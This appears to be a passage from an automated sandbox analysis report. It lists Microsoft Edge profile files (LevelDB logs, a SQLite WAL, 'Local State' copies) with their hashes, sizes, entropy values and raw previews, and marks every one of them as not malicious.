Preview:	..-.............M................4..}......V.....-.............M................4..}......V...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8901873843514329
Encrypted:	false
SSDEEP:	384:G2mBh2XMEgL2X5pIxRFnAlg11Av8EyCyJlyGyfBy1xyq2:mA
MD5:	711E8CED1C960927A6802B702D39577C
SHA1:	E74DB5E02EABC121F71A9C17A75A9BBCBA53DDA4
SHA-256:	ABB336F1E5B09C868A8060D530D25FEEFF4CCE8F84E8B7C6B2D3E90A062E11BC
SHA-512:	A8C0C1AFAFDDA8A7F0C2993974981153D3A825094913A1E2F1E96059CF96BF3C3E3E7B2619F65D0E2CBFDC6E255F1AF714832486C85FB8AA8FE10A773D160391
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.543996705768315
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuu2llVfAs81q:iDIlZ
MD5:	406241BF9781E83849065C9A0AF0E7E7
SHA1:	D0A06F67220415CC733F85E23BC8EC6A70E8CB69
SHA-256:	16A7065232C7685C0405C58DDDEB39F110EC3BCE789189776F12D8BF7C28DEEC
SHA-512:	F4653CFA43D7A8D0EA03ADCC2DD8BFDAA3E43589B789F2414D9052414B7AAF95EBDCAD8BD88A100CF0F789D0E85C6DFED095BE8FDCF4DB15126A16D6AD5098E1
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............vY8.;...............#38_h.......6.Z..W.F.....I.......I............V.e................Q...0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.213806989183126
Encrypted:	false
SSDEEP:	6:HUafXIlL+q2P923oH+TcwtfrK+IFUt8YUafX6UX11Zmw+YUafX6UXjLVkwO923oq:P/IIv4Yeb23FUt80/6UF1/+0/6U15LYq
MD5:	A9088606C4B56956BA3F3EB7CFD69543
SHA1:	57999CB774F09148ACE4F624B353439F1DFAD6E7
SHA-256:	02658912FB07DC67977176EB9926457B9BD18CD887ABBCD0ED24ECDC616A2E7C
SHA-512:	69CC49D0AEEC97AE85345E1C3CB789EDFE5EB0467AE2DA499A503A37DA84DBBA90DA8864ED68AC6FA759D998461AFE6B15CAABC1A6F8A80748E7E954420C02DE
Malicious:	false
Preview:	2024/11/16-07:01:29.180 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-07:01:29.181 1e58 Recovering log #3.2024/11/16-07:01:29.181 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.213806989183126
Encrypted:	false
SSDEEP:	6:HUafXIlL+q2P923oH+TcwtfrK+IFUt8YUafX6UX11Zmw+YUafX6UXjLVkwO923oq:P/IIv4Yeb23FUt80/6UF1/+0/6U15LYq
MD5:	A9088606C4B56956BA3F3EB7CFD69543
SHA1:	57999CB774F09148ACE4F624B353439F1DFAD6E7
SHA-256:	02658912FB07DC67977176EB9926457B9BD18CD887ABBCD0ED24ECDC616A2E7C
SHA-512:	69CC49D0AEEC97AE85345E1C3CB789EDFE5EB0467AE2DA499A503A37DA84DBBA90DA8864ED68AC6FA759D998461AFE6B15CAABC1A6F8A80748E7E954420C02DE
Malicious:	false
Preview:	2024/11/16-07:01:29.180 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-07:01:29.181 1e58 Recovering log #3.2024/11/16-07:01:29.181 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.218287874386254
Encrypted:	false
SSDEEP:	6:HUafX7uHlL+q2P923oH+TcwtfrzAdIFUt8YUafXWPS1Zmw+YUafXWPELVkwO923q:P/7fv4Yeb9FUt80/WPS1/+0/WPE5LYe+
MD5:	66BACE821108D6D91F16F59D427C7EE5
SHA1:	409351A98690F9453F3C55FA9A7ED0E150F71D08
SHA-256:	33A0B6A8C89E8D43F8046FE174CA980354783CF00EE93F5F0F8514B2FD6C4CE9
SHA-512:	5214A52CF91D173F408A308933AE69E9522BE16889F42101A391122455CF25A9A03740CDA449B33386AF419D9A43FA55C334488B6D4D74F4D3C407849FB2B94B
Malicious:	false
Preview:	2024/11/16-07:01:29.177 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-07:01:29.178 1e58 Recovering log #3.2024/11/16-07:01:29.178 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.218287874386254
Encrypted:	false
SSDEEP:	6:HUafX7uHlL+q2P923oH+TcwtfrzAdIFUt8YUafXWPS1Zmw+YUafXWPELVkwO923q:P/7fv4Yeb9FUt80/WPS1/+0/WPE5LYe+
MD5:	66BACE821108D6D91F16F59D427C7EE5
SHA1:	409351A98690F9453F3C55FA9A7ED0E150F71D08
SHA-256:	33A0B6A8C89E8D43F8046FE174CA980354783CF00EE93F5F0F8514B2FD6C4CE9
SHA-512:	5214A52CF91D173F408A308933AE69E9522BE16889F42101A391122455CF25A9A03740CDA449B33386AF419D9A43FA55C334488B6D4D74F4D3C407849FB2B94B
Malicious:	false
Preview:	2024/11/16-07:01:29.177 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-07:01:29.178 1e58 Recovering log #3.2024/11/16-07:01:29.178 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38483.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38492.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38677.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ad39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d775.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4976a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f48e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
